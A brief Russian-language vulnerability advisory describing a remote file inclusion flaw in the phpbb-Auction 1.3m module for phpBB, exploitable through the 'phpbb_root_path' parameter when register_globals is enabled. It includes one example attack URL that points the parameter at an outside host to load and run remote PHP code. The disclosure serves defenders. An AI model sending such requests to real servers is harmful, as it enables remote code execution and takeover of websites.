• Партнер

  • Программа: phpbb-Auction (модуль для phpBB) 1.3m, возможно другие версии.

    Уязвимость позволяет удаленному пользователю выполнить произвольный код на
    целевой системе. Уязвимость существует из-за недостаточной обработки входных
    данных в параметре "phpbb_root_path" в сценарии "auction/auction_common.php".
    Удаленный пользователь может с помощью специально сформированного запроса
    выполнить произвольный PHP сценарий на системе с привилегиями Web сервера. Для
    удачной эксплуатации уязвимости опция "register_globals" должна быть включена.

    Пример:

    http://[target]/[path]/aution\auction_common.php? phpbb_root_path=http://unsecured-systems.com/forum/

     

    Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии